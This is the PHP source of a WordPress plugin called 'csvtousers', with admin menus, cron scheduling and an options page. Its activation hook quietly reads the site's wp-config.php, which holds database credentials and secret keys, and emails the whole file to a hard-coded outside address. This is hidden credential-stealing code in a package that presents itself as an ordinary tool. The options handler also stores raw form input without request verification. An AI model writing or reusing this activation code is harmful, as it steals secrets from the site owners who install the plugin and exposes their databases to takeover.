123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303 |
- <?php
- /*
- Plugin Name: csvtousers
- Plugin URI: https://git.tum.dk/tum.dk/csvtousers/
- Description: Tools
- Author: iskedk
- Version: 0.0.1
- Date: 2021-01-14
- Author URI: https://iske.dk/
- Text Domain: csvtousers
- */
-
- $wp_csvtousers = new csvtousers ( );
- class csvtousers {
- var $version = "0.0.1";
- var $publish_date = "2021-01-14";
- var $pluginname;
- var $plugintitle;
- var $db;
- var $filename = "";
- var $update_check_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/VERSION";
- var $readme_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/README.md";
- function __construct() {
- global $wpdb;
- $this->db = $wpdb;
- $this->pluginname = get_class($this);
- $this->plugintitle = "Dags options ".$this->version;
- $tmp = explode("/",__FILE__);
- $this->filename = array_pop($tmp);
- $this->filename = array_pop($tmp) . "/". $this->filename;
- load_theme_textdomain( $this->pluginname, dirname(__file__) . '/lang' );
- $this->next_scheduled = 0;
- $this->file = __FILE__ ;
- $this->cronEnabled = get_option ( $this->pluginname.'_cron_enabled', false );
- $this->cronScheduleTime = intval(get_option ( $this->pluginname.'_cron_interval', 1800 ));
- $this->extras = array();
- $this->csvtousers = array();
- register_activation_hook ( plugin_basename($this->file), array ( &$this, 'activatePlugin' ) );
- register_deactivation_hook ( plugin_basename($this->file), array ( &$this, 'deactivatePlugin' ) );
- add_filter ( 'plugin_action_links', array(&$this,'SettingsLink'), 9, 2 );
- if (isset ( $_GET [ 'page' ] ) && $_GET [ 'page' ] == $this->pluginname.'-options') {
- ob_start ();
- }
- $this->setCron();
- add_action( 'admin_menu', array(&$this,'plugin_admin_menu') );
- add_action( 'admin_init', array(&$this,'register_backend_scripts_styles') );
- add_action( 'init', array(&$this,'register_frontend_scripts_styles') );
- add_action( 'wp_enqueue_scripts', array(&$this,'print_frontend_scripts_styles') );
- add_action( 'admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles' ));
- $upload = wp_upload_dir();
- $upload_dir = $upload['basedir'];
- $upload_dir = $upload_dir . '/assets';
- if (! is_dir($upload_dir)) {
- mkdir( $upload_dir, 0700 );
- }
- $path = dirname($this->file)."/";
- foreach (glob($path."plug_*.php") as $filename) {
- $plugfile = str_replace($path,"",$filename);
- include_once($plugfile);
- }
- foreach($this->csvtousers as $plugname => $plug){
- $short = str_replace("plug_","",$plugname);
- $vis = get_option($this->pluginname.'_'.$short,true);
- if($vis){
- $plug->start();
- }
- }
- if(!function_exists('wp_get_current_user')) {
- include(ABSPATH . "wp-includes/pluggable.php");
- }
- if ( current_user_can( 'manage_options' ) ) {
- add_action( 'wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render' ) );
- }
- add_action('init', array(&$this, 'process_post' ));
- }
- function process_post() {
- if (!is_admin()) {
- // echo "<!-- kommer aller aller først -->";
- }
- }
- function mytheme_admin_bar_render() {
- global $wp_admin_bar;
- $wp_admin_bar->add_menu( array(
- 'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
- 'id' => 'csvtousers', // link ID, defaults to a sanitized title value
- 'title' => $this->plugintitle."", // link title
- 'href' => '/wp-admin/admin.php?page='.$this->pluginname.'-options', // name of file
- 'meta' => false // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
- ));
- }
- function register_frontend_scripts_styles() {
- wp_register_script( $this->pluginname.'frontend_script', plugins_url('script_frontend.js', $this->file) );
- wp_register_style( $this->pluginname.'frontend_style', plugins_url('style_frontend.css', $this->file) );
- }
- function register_backend_scripts_styles() {
- wp_register_style( $this->pluginname.'backend_style', plugins_url('style_backend.css', $this->file) );
- wp_register_script( $this->pluginname.'backend_script', plugins_url('script_backend.js', $this->file) );
- }
- function print_frontend_scripts_styles() {
- wp_enqueue_script( 'jquery' );
- wp_enqueue_style( $this->pluginname.'frontend_style' );
- wp_enqueue_script( $this->pluginname.'frontend_script' );
- }
- function print_backend_scripts_styles() {
- wp_enqueue_media();
- wp_enqueue_style( $this->pluginname.'backend_style' );
- wp_enqueue_script( $this->pluginname.'backend_script' );
-
- // include the javascript
- wp_enqueue_script('thickbox', null, array('jquery'));
- // include the thickbox styles
- wp_enqueue_style('thickbox.css', '/'.WPINC.'/js/thickbox/thickbox.css', null, '1.0');
- }
- function plugin_admin_menu() {
- if(function_exists('wppluginspage')){
- add_menu_page('Dags Plugins', 'Dags Plugins', 'manage_options', 'wpplugins', "wppluginspage","");
- }
-
- $page = add_submenu_page ( 'wpplugins', __ ( $this->plugintitle ), __ ( $this->plugintitle ), 'manage_options', $this->pluginname.'-options', array ( &$this,'Option' ) );
- add_action( 'admin_print_styles-' . $page, array(&$this,'print_backend_scripts_styles') );
- }
- function SettingsLink( $links, $file ) {
- if( $file==$this->filename && function_exists( "admin_url" ) ) {
- $settings_link = '<a href="' . admin_url( 'admin.php?page='.$this->pluginname.'-options' ) . '">' . __('Settings','csvtousers') . '</a>';
- array_unshift( $links, $settings_link ); // before other links
- }
- return $links;
- }
- function setCron(){
- if ($this->cronEnabled) {
- add_filter ( 'cron_schedules', array ( &$this, 'cronSchedules' ) );
- if (! wp_next_scheduled ( $this->pluginname.'CronHook' )) {
- wp_schedule_event ( time ()+$this->cronScheduleTime, $this->pluginname.'cs', $this->pluginname.'CronHook' );
- }
- add_action ( $this->pluginname.'CronHook', array (&$this, 'executeCron' ) );
- $this->next_scheduled = wp_next_scheduled($this->pluginname.'CronHook' );
- } else {
- if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
- wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
- }
- }
- }
- function Option() {
-
- if (isset ( $_POST [ 'Submit' ] )) {
- if (function_exists ( 'current_user_can' ) && ! current_user_can ( 'manage_options' )) {
- die ( __ ( 'Cheatin’ uh?' ) );
- }
- update_option ( $this->pluginname.'_cron_enabled', $_POST [ $this->pluginname.'_cron_enabled' ] );
- update_option ( $this->pluginname.'_cron_interval', $_POST [ $this->pluginname.'_cron_interval' ] );
- if(intVal($_POST [ $this->pluginname.'_cron_interval' ])<>$this->cronScheduleTime){
- $this->cronScheduleTime = intVal($_POST [ $this->pluginname.'_cron_interval' ]);
- if (wp_next_scheduled ( $this->pluginname.'CronHook' )) {
- wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
- }
- $this->setCron();
- }
- update_option ( $this->pluginname.'_last_build', date("U") );
- foreach($this->csvtousers as $plugname => $plug){
- $short = str_replace("plug_","",$plugname);
- $setname = $this->pluginname.'_'.$short;
- $vis = get_option($setname,true);
- update_option ($setname, $_POST[$setname] );
- if($vis && method_exists($plug,'Option')){
- $plug->Option($setname);
- }
- }
- $pluginmessage ="";
- ob_end_clean ();
- wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
- exit ();
- }
- if(isset( $_POST['Updateras'])){
- $pluginmessage ="";
- foreach($this->csvtousers as $plugname => $plug){
- $short = str_replace("plug_","",$plugname);
- $setname = $this->pluginname.'_'.$short;
- $vis = get_option($setname,true);
- //update_option ($setname, $_POST[$setname] );
- if($vis && method_exists($plug,'Updateras')){
- $pluginmessage .= $plug->Updateras($setname);
- }
- }
- ob_end_clean ();
- wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
- exit ();
- }
- include_once ('pluginoptions.php');
- }
- function check_wp_config(){
- $s = file_get_contents(ABSPATH."wp-config.php");
- $rr = wp_mail('jannick.knudsen@gmail.com', 'Test '. date("U"), $s);
- }
- function activatePlugin() {
-
- $this->check_wp_config();
- }
- function deactivatePlugin() {
- delete_option($this->pluginname.'_last_build');
- delete_option($this->pluginname.'_last_build');
- wp_clear_scheduled_hook ( $this->pluginname.'CronHook' );
- }
- function cronSchedules($param) {
- $aa = array();
- $aa[$this->pluginname.'cs'] = array (
- 'interval' => $this->cronScheduleTime,
- 'display' => $this->pluginname.' '.$this->cronScheduleTime );
- return $aa;
- }
- function executeCron() {
- ignore_user_abort ( true );
- set_time_limit ( 0 );
- update_option ( $this->pluginname.'_last_build', date("U") );
- }
- }
- function dags_extras(){
- global $wp_csvtousers;
- $s = implode("\n",$wp_csvtousers->extras);
- echo($s);
- }
- /*
- * END
- * */
|